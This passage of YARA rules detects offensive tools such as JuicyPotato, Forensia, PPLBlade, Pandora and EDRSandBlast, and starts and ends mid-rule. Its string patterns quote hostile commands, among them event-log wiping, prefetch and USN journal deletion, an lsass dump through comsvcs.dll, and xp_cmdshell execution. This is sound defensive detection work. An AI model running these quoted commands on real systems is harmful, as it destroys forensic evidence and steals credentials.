		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1255-L1270"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "43a7ac16b9633fd2e6c43ca142cd0d0e2166287bb51e1b6344119959fe054c19"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "\\JuicyPotato.pdb" ascii
		$x2 = "JuicyPotato v%s" fullword ascii
		$s1 = "hello.stg" fullword wide
		$s2 = "ppVirtualProcessorRoots" fullword ascii
		$s3 = "Lock already taken" fullword ascii
		$s4 = "[+] authresult %d" fullword ascii
		$s5 = "RPC -> send failed with error: %d" fullword ascii
		$s6 = "Priv Adjust FALSE" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $x* ) or ( 1 of ( $x* ) and 3 of ( $s* ) ) or ( 5 of ( $s* ) ) )
}

rule DITEKSHEN_INDICATOR_TOOL_PROX_Revsocks : FILE
{
	meta:
		description = "Detects revsocks Reverse socks5 tunneler with SSL/TLS and proxy support"
		author = "ditekSHen"
		id = "f85bc557-40ab-5533-8a89-a2de9bbc9ad9"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1307-L1321"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "4a8e68f25b7ba10b0eb9772ed4ba2b9c6566768f2b5a2859df8bac644d196bf3"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "main.agentpassword" fullword ascii
		$s2 = "main.connectForSocks" fullword ascii
		$s3 = "main.connectviaproxy" fullword ascii
		$s4 = "main.DnsConnectSocks" fullword ascii
		$s5 = "main.listenForAgents" fullword ascii
		$s6 = "main.listenForClients" fullword ascii
		$s7 = "main.getPEMs" fullword ascii
	condition:
		( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0x457f ) and 4 of them
}

rule DITEKSHEN_INDICATOR_TOOL_PWS_Azbelt : FILE
{
	meta:
		description = "Detects azbelt for enumerating Azure related credentials primarily on AAD joined machines"
		author = "ditekSHen"
		id = "cf9268d2-1928-51e8-9643-ee0a5bada9fa"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1323-L1338"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "71cc2b3418ea5e285adafe03fa80bade67dc3e4073fe58d42bc6190860b48b43"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "@http://169.254.169.254/metadata/identity/oauth2/token?api-version=" ascii
		$s2 = "@Partner Customer Delegated Admin Offline Processor" fullword ascii
		$s3 = "@TargetName: " fullword ascii
		$s4 = "httpclient.nim" fullword ascii
		$s5 = "@DSREG_DEVICE_JOIN" fullword ascii
		$s6 = "@.azure/msal_token_cache.bin" fullword ascii
		$s7 = "CredEnumerateW" fullword ascii
		$s8 = "@http://169.254.169.254/metadata/instance?api-version=" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 6 of them
}

rule DITEKSHEN_INDICATOR_TOOL_Dontsleep : FILE
{
	meta:
		description = "Detects Keep Host Unlocked (Don't Sleep)"
		author = "ditekShen"
		id = "f71bd0d5-a526-5f1e-8bd3-9e653db610a7"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1340-L1354"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "b8e2132d3b36c3e2d2662a586916c7e4fc029f81af08b5c18006833c4e6f772f"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = ":Repeat###DEL \"%s\"###if exist \"%s\" goto Repeat###DEL \"%s\"###" wide
		$s2 = "powrprof.dll,SetSuspendState" wide
		$s3 = "_selfdestruct.bat" wide
		$s4 = "please_sleep_block_" ascii
		$s5 = "Browser-Type: MiniBowserOK" wide
		$s6 = "m_use_all_rule_no_sleep" ascii
		$s7 = "BlockbyExecutionState: %d on:%d by_enable:%d" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and 4 of them
}

rule DITEKSHEN_INDICATOR_TOOL_Nsudo : FILE
{
	meta:
		description = "Detects NSudo allowing to run processes as TrustedInstaller or System"
		author = "ditekShen"
		id = "9a21b923-b02e-553b-8f53-026d7034c319"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1356-L1369"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "6bcffa79ca06b0b4178d6ea256f98d917c2b19cec0b059889b8d015d226a53f9"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "cmd /c start \"NSudo." wide
		$x2 = "*\\shell\\NSudo" fullword wide
		$x3 = "Projects\\NSudo\\Output\\Release\\x64\\NSudo.pdb" ascii
		$s1 = "-ShowWindowMode=Hide" wide
		$s2 = "?what@exception@@UEBAPEBDXZ" fullword ascii
		$s3 = "NSudo.RunAs." ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 2 of ( $x* ) or ( 1 of ( $x* ) and 2 of ( $s* ) ) or all of ( $s* ) or 4 of them )
}

rule DITEKSHEN_INDICATOR_TOOL_Ligolo : FILE
{
	meta:
		description = "Detects Ligolo tool for establishing SOCKS5 or TCP tunnels from a reverse connection"
		author = "ditekSHen"
		id = "cc461fd1-9a2f-59ce-af74-a0f55b8850b1"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1371-L1385"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "b515dc184013c2f67d37e42d7172e2471b3a93c94024be12c7f587296287282d"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$p1 = "/ligolo/main.go" ascii
		$p2 = "/armon/go-socks5" ascii
		$s1 = "main.StartLigolo" fullword ascii
		$s2 = "main.handleRelay" fullword ascii
		$s3 = "main.startSocksProxy" fullword ascii
		$s4 = "_main.tlsFingerprint" fullword ascii
		$s5 = "main.verifyTlsCertificate" fullword ascii
	condition:
		( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0x457f or uint16( 0 ) == 0xfacf ) and ( ( all of ( $p* ) and 1 of ( $s* ) ) or all of ( $s* ) or ( 1 of ( $p* ) and 4 of ( $s* ) ) )
}

rule DITEKSHEN_INDICATOR_TOOL_Ngrok : FILE
{
	meta:
		description = "Detects Ngrok"
		author = "ditekSHen"
		id = "fc0a0de8-b68b-5b6b-a222-bbc031ebabd3"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1405-L1418"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "f4bba142652aaf77e5b7c123b743cf165ae17210c39cf65b7311f7e7bd91f7e1"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "dashboard.ngrok.com" ascii
		$s2 = "go.ngrok.com/cmd/ngrok/main.go" ascii
		$s3 = "ngrok agent" ascii
		$s4 = "*ngrok.clientInfo" ascii
		$s5 = "'%s'  socket: '%s'  port: %d/edges/https/{{ .EdgeID }}/routes/{{ .ID }}/webhook_" ascii
		$s6 = "/{{ .ID }}/tunnel_sessions/{{ .ID }}/restart" ascii
	condition:
		( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0x457f or uint16( 0 ) == 0xfacf ) and ( 3 of them )
}

rule DITEKSHEN_INDICATOR_TOOL_Sqlrecon : FILE
{
	meta:
		description = "Detects SQLRecon C# MS-SQL toolkit designed for offensive reconnaissance and post-exploitation"
		author = "ditekSHen"
		id = "ec91285b-690d-5fd3-b0fc-f8d72cbb7e15"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1420-L1436"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "784dbc518cf9492557c9b3536256c4a9b03e4536cf7cee7e764b8009dd4686bb"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "ConvertDLLToSQLBytes" ascii
		$s2 = "\\SQLRecon.pdb" ascii
		$s3 = "GetAllSQLServerInfo" ascii
		$s4 = "<GetMSSQLSPNs>b__" ascii
		$s5 = "select 1; exec master..xp_cmdshell" wide
		$s6 = "-> Command Execution" wide
		$s7 = ";EXEC dbo.sp_add_jobstep @job_name =" wide
		$s8 = "EXEC sp_drop_trusted_assembly 0x" wide
		$s9 = "(&(sAMAccountType=805306368)(servicePrincipalName=MSSQL*))" wide
	condition:
		uint16( 0 ) == 0x5a4d and 5 of them
}

rule DITEKSHEN_INDICATOR_TOOL_Ngrokgo : FILE
{
	meta:
		description = "Detects Go implementation variant for Ngrok"
		author = "ditekSHen"
		id = "b11f67c5-846d-57b2-8edc-521b2dc77503"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1473-L1488"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "4ec151661e3af922aba202c68392a2af17e2c4ed25a71a0b5aacc13fbfcc5c53"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "/codegangsta/inject" fullword wide
		$s2 = "go.ngrok.com/" ascii
		$s3 = "GetIsNgrokDomain" ascii
		$s4 = "GetNgrokMetering" ascii
		$s5 = "*cli.ngrokService" ascii
		$s6 = "GetAllowNgrokLink" ascii
		$s7 = "ngrok {{.Name}}{{if .Flags}}" ascii
		$s8 = "github.com/nikolay-ngrok/" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 4 of them
}

rule DITEKSHEN_INDICATOR_Tool_Forensia : FILE
{
	meta:
		description = "Detects Forensia anti-forensics tool used for erasing footprints"
		author = "ditekSHen"
		id = "bcd05c2e-7ddd-5ce7-a6a7-0659bed38744"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1490-L1523"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "7147eee62df10cd8a6c00ec80c4d1bdb8234a181dd6af81d0580d847f05bd0b6"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$c1 = "for /F \"tokens=*\" %1 in ('wevtutil.exe el') DO wevtutil.exe cl \"%1\"" ascii
		$c2 = "del /F /Q C:\\Windows\\Prefetch\\*" ascii
		$c3 = "del C:\\Windows\\AppCompat\\Programs\\RecentFileCache.bcf" ascii
		$c4 = "del /F /Q %APPDATA%\\Microsoft\\Windows\\Recent\\*" ascii
		$c5 = "del /F /Q %APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\*" ascii
		$c6 = "del /F /Q %APPDATA%\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*" ascii
		$c7 = "fsutil.exe usn deletejournal /D C:" ascii
		$r1 = "\\Memory Management\\PrefetchParameters" wide
		$r2 = "\\Explorer\\Advanced" wide
		$r3 = "\\Services\\EventLog" wide
		$r4 = "\\Shell\\BagMRU" wide
		$r5 = "\\Control\\FileSystem" wide
		$r6 = "\\Setup\\VC" wide
		$s1 = "[LOG] - %s" wide
		$s2 = "\\forensia\\regedit.hpp" wide
		$s3 = "NtfsDisableLastAccessUpdate" wide
		$s4 = "Melting The Executable" wide
		$s5 = "Sysmon Unloader" wide
		$s6 = "Rundll32.exe apphelp.dll,ShimFlushCache" ascii
		$s7 = "\\Debug\\forensia.pdb" ascii
		$s8 = { 55 00 00 00 aa 00 00 00 92 49 24 00 49 24 92 00
                24 92 49 00 00 00 00 00 11 00 00 00 22 00 00 00
                33 00 00 00 44 00 00 00 66 00 00 00 88 00 00 00
                99 00 00 00 bb 00 00 00 cc 00 00 00 dd 00 00 00
                ee 00 00 00 ff 00 00 00 6d b6 db 00 b6 db 6d 00
                db 6d b6 }
	condition:
		uint16( 0 ) == 0x5a4d and ( ( 4 of ( $c* ) and 2 of ( $r* ) ) or ( 4 of ( $r* ) and 2 of ( $c* ) ) or 6 of ( $s* ) or ( 3 of ( $s* ) and 2 of ( $r* ) and 1 of ( $c* ) ) )
}

rule DITEKSHEN_INDICATOR_TOOL_Dogzproxy : FILE
{
	meta:
		description = "Detects Dogz proxy tool"
		author = "ditekSHen"
		id = "de2a8d26-0e8e-5999-baca-1e43933af866"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1525-L1537"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "575cfed9cb7979216fd8fd2a05efe5dfece3a9120b4f185c015918337829ed63"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "LOGONSERVER=" fullword wide
		$s2 = "DOGZ_E_" ascii
		$s3 = "got handshake_id=%d" ascii
		$s4 = "responser send connect ack" ascii
		$s5 = "dogz " ascii
	condition:
		uint16( 0 ) == 0x5a4d and 4 of them
}

rule DITEKSHEN_INDICATOR_TOOL_Fastreverseproxy : FILE
{
	meta:
		description = "Detects Fast Reverse Proxy (FRP) tool"
		author = "ditekSHen"
		id = "d643cc38-a96c-5353-bb46-ca46ea740e3b"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1539-L1555"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "c26d9e8833c7055a03a446eb983c7f70f1f18669d009ebc204dda3f0bb6048f7"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "<title>frp client admin UI</title>" ascii
		$x2 = "https://github.com/fatedier/frp" ascii
		$s1 = ").SetLogin" ascii
		$s2 = ").SetPing" ascii
		$s3 = ").SetNewWorkConn" ascii
		$s4 = ").ServeHTTP" ascii
		$s5 = ").Middleware" ascii
		$s6 = "frpc proxy config error:" ascii
		$s7 = "frpc sudp visitor proxy is close" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $x* ) or ( 1 of ( $x* ) and 4 of ( $s* ) ) or ( all of ( $s* ) ) )
}

rule DITEKSHEN_INDICATOR_TOOL_Gogoscan : FILE
{
	meta:
		description = "Detects GoGo scan tool"
		author = "ditekSHen"
		id = "c24ede04-2971-55f8-8b60-ec3bdca844d7"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1557-L1571"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "c9fbc98a28c74bf920f5f7d62713834d18b33b5c65483a1bd42e4555764c8346"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "(conn) (scan  (scan) MB in  Value>" ascii
		$s2 = "sweep sysmontargettelnet" ascii
		$s3 = "%d bytes(?i) (.*SESS.*?ID)([a-z0-9])([A-Z]+)" ascii
		$s4 = "prepareForSweep" ascii
		$s5 = "Scanned %s with %d ports, found %d" ascii
		$s6 = "/chainreactors/gogo/" ascii
		$s7 = "Starting task %s ,total ports: %d , mod: %s" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 6 of them
}

rule DITEKSHEN_INDICATOR_TOOL_Gogoprocdump : FILE
{
	meta:
		description = "Detects GoGo (lsass) process dump tool"
		author = "ditekSHen"
		id = "f92845c6-f8ae-50d0-97ea-cfa72051c2de"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1573-L1586"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "f410882e4c6c8b65e7d3c192cf94bf99d61cf54dc21d80cdf17193b34752c576"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "C:\\temp" ascii
		$s2 = "gogo" fullword ascii
		$s3 = "/DumpLsass-master/SilentProcessExit/" ascii
		$s4 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zone" ascii
		$s5 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\lsass.exe" ascii
		$s6 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\lsass.exe" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 4 of them
}

rule DITEKSHEN_INDICATOR_TOOL_Fscan : FILE
{
	meta:
		description = "Detects GoGo scan tool"
		author = "ditekSHen"
		id = "3bf73853-15c1-54f7-866a-6a7632e39f19"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1588-L1602"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "b107eb767454c4c084a7237c107c8414bdb03c324902769ac544c5903e346e17"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "fscan version:" ascii
		$s2 = "Citrix-ConfProxyCitrix-MetaframeCitrix-NetScalerCitrix-XenServerCitrix_Netscaler" ascii
		$s3 = "(AkamaiGHost)(DESCRIPTION=(Typecho</a>)(^.+)([0-9]+)(confluence.)(dotDefender)" ascii
		$s4 = "/fscan/" ascii
		$s5 = "WebScan.CheckDatas" ascii
		$s6 = "'Exploit.Test" ascii
		$s7 = "rules:" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 4 of them
}

rule DITEKSHEN_INDICATOR_TOOL_BURTNCIGAR : FILE
{
	meta:
		description = "Detects BURNTCIGAR a utility which terminates processes associated with endpoint security software"
		author = "ditekSHen"
		id = "b5260d7e-07ac-5633-b450-e2124cbba65b"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1604-L1616"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "4977332a0b20b300a5fc34f0f8d56221f55b66783853306d803e91701cb7e6ec"
		score = 75
		quality = 75
		tags = "FILE"
		clamav1 = "INDICATOR.Win.TOOL.BURNTCIGAR"
	strings:
		$s1 = "Kill PID =" ascii
		$s2 = "CreateFile Error =" ascii
		$s3 = "\\KillAV" ascii
		$s4 = "DeviceIoControl" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 3 of them
}

rule DITEKSHEN_INDICATOR_TOOL_Pplblade : FILE
{
	meta:
		description = "Detects PPLBlade Protected Process Dumper Tool that support obfuscating memory dump and transferring it on remote workstations without dropping it onto the disk"
		author = "ditekSHen"
		id = "60c9b036-51a0-5e08-83de-1f69f62245c3"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1634-L1658"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "da21402b07fcd0358ba630e48ab35956cb7ed8c12836a339c85b2ee5e414543e"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "PPLBlade" ascii
		$x2 = "/PPLBlade/" ascii
		$x3 = "PPLBlade.exe --mode" ascii
		$x4 = "PPLBLADE.SYSPPLBlade.dmp" ascii
		$s1 = "Dump bytes sent at %s:%d. Protocol: %s" ascii
		$s2 = "Deobfuscated dump saved in file %s" ascii
		$m1 = "main.WriteDriverOnDisk" ascii
		$m2 = "main.ProcExpOpenProc" ascii
		$m3 = "main.miniDumpCallback" ascii
		$m4 = "main.copyDumpBytes" ascii
		$m5 = "main.MiniDumpGetBytes" ascii
		$m6 = "main.SendBytesRaw" ascii
		$m7 = "main.SendBytesSMB" ascii
		$m8 = "main.DeobfuscateDump" ascii
		$m9 = "main.dumpMutex" ascii
		$m10 = "main.dbghelpDLL" ascii
		$m11 = "main.miniDumpWriteDump" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 3 of ( $x* ) or ( 1 of ( $x* ) and ( 1 of ( $s* ) or 3 of ( $m* ) ) ) or ( all of ( $s* ) and 3 of ( $m* ) ) or ( 7 of ( $m* ) ) )
}

rule DITEKSHEN_INDICATOR_TOOL_Sharpldap : FILE
{
	meta:
		description = "Detects SharpLDAP tool written in C# that aims to do enumeration via LDAP queries"
		author = "ditekSHen"
		id = "597e578d-41f0-595e-b92c-0c3676d8b47a"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1660-L1675"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "da5db3f2907229dc68e3c6f3351361a4b1fb9fe8afc597c9dfe611f9725c6181"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "SharpLDAP" ascii wide
		$x2 = "SharpLDAP.pdb" ascii
		$s1 = "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))" wide
		$s2 = "(&(servicePrincipalName=*))" wide
		$s3 = "/Enumerating (Domain|Enterprise|Organizational|Service|Members|Users|Computers)/" wide
		$s4 = "ListMembers" fullword ascii
		$s5 = "GroupMembers" fullword ascii
		$s6 = "get_SamAccountName" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( ( 1 of ( $x* ) and 4 of ( $s* ) ) or ( 5 of ( $s* ) ) )
}

rule DITEKSHEN_INDICATOR_TOOL_Pandora : FILE
{
	meta:
		description = "Detects Pandora tool to extract credentials from password managers"
		author = "ditekSHen"
		id = "3f71f24b-755f-5967-afbf-04a512bd0a19"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1677-L1691"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "dd5be3b99b62ec40c242225d9420b9ce299c4f348882b0380289309dfedbc1e8"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "process PID:" fullword wide
		$s2 = "Dump file created:" fullword wide
		$s3 = "System.Security.AccessControl.FileSystemAccessRule('Everyone', 'FullControl', 'Allow')" ascii
		$s4 = "{[math]::Round($_.PrivateMemorySize64" ascii
		$s5 = "rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump $" ascii
		$s6 = "\"payload\":{\"logins\":" ascii
		$s7 = "\\pandora.pdb" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 5 of them
}


rule DITEKSHEN_INDICATOR_TOOLS_Localpotato : FILE
{
	meta:
		description = "Detects LocalPotato"
		author = "ditekShen"
		id = "65f8305b-b830-58e7-970b-da1df9a06e9b"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1712-L1743"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "88fba16a6eec6d2c23331642041c6adfddddeb21ba8e74b6959bd48c90f73cbb"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$x1 = "LocalPotato.stg" fullword wide
		$x2 = "we always love potatoes" fullword ascii
		$s1 = "{00000306-0000-0000-c000-000000000046}" wide
		$s2 = "{854A20FB-2D44-457D-992F-EF13785D2B51}" wide
		$s3 = "cifs/127.0.0.1" wide
		$s4 = "\\\\127.0.0.1\\c$" wide
		$s5 = "complete failed: 0x%08x" ascii
		$s6 = "Authorization: NTLM %s" ascii
		$s7 = "Objref Moniker Display Name = %S" ascii
		$s8 = "SMB Connect Tree: %S" ascii
		$s9 = "b64type=%s" fullword ascii
		$s10 = "decodes=%s" fullword ascii
		$s11 = { 53 4d 42 72 00 00 00 00 18 01 48 00 00 00 00 00
               00 00 00 00 00 00 00 ff ff ac 7b 00 00 00 00 00
               22 00 02 4e 54 20 4c 4d 20 30 2e 31 32 00 02 53
               4d 42 20 32 2e 30 30 32 00 02 53 4d 42 20 32 2e
               3f 3f 3f 00 00 00 00 00 00 00 00 00 00 00 68 fe
               53 4d 42 40 }
		$o1 = { 44 8b 4c 24 34 48 8d 44 24 38 48 89 44 24 28 4c }
		$o2 = { e8 c4 ff ff ff 33 d2 48 8d 4d f0 41 b8 d0 04 00 }
		$o3 = { 83 7b 0c 00 75 42 8b 03 25 ff ff ff 1f 3d 21 05 }
		$o4 = { 3c 68 74 6c 3c 6a 74 5c 3c 6c 74 34 3c 74 74 24 }
		$o5 = { e9 39 ff ff ff cc 48 89 5c 24 08 4c 89 4c 24 20 }
		$o6 = { 48 b9 ff ff ff ff ff ff 0f 00 48 8b c2 41 b8 0c }
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $x* ) or ( 1 of ( $x* ) and 5 of ( $s* ) ) or 8 of ( $s* ) or ( 4 of ( $o* ) and ( 1 of ( $x* ) or 5 of ( $s* ) ) ) )
}

rule DITEKSHEN_INDICATOR_TOOLS_Edrsandblast : FILE
{
	meta:
		description = "Detects EDRSandBlast"
		author = "ditekShen"
		id = "85d6d82b-a30e-5c79-93e7-8a3bbbf4a403"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1745-L1767"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "9b801f053e42fbd646cf62fecf6cbf5f2cceeec82bed93ecd8625984eccb08c6"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "credguard" fullword wide
		$s2 = "\\cmd.exe" fullword wide
		$s3 = "ci_%s.dll" fullword wide
		$s4 = "cmd /c sc" wide
		$s5 = "fltmgr_%s.sys" fullword wide
		$s6 = "ntoskrnl_%s.exe" fullword wide
		$s7 = "ProductDir" fullword wide
		$s8 = "lsass.exe" fullword wide
		$s9 = "0x%p;%ws;%ws;;;" ascii
		$s10 = "MiniDumpWriteDump" ascii
		$s11 = "EDRSB_Init: %u" ascii
		$s12 = "ntoskrnloffsets.csv" fullword wide nocase
		$s13 = "wdigestoffsets.csv" fullword wide nocase
		$o1 = { eb 0e 8b 85 34 15 00 00 ff c0 89 85 34 15 00 00 }
		$o2 = { 74 48 8b 85 34 15 00 00 41 b9 04 01 00 00 4c 8d }
	condition:
		uint16( 0 ) == 0x5a4d and 7 of them
}

rule DITEKSHEN_INDICATOR_TOOLS_Rsockstun : FILE
{
	meta:
		description = "Detects rsockstun"
		author = "ditekShen"
		id = "a284a607-abea-5914-ad3a-84eaff733ee0"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1769-L1781"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "4ad0ac389bf8961b0dd987a72d5dd534e5e3cc673f0e07aa49d39d1fd3f5f53e"
		score = 75
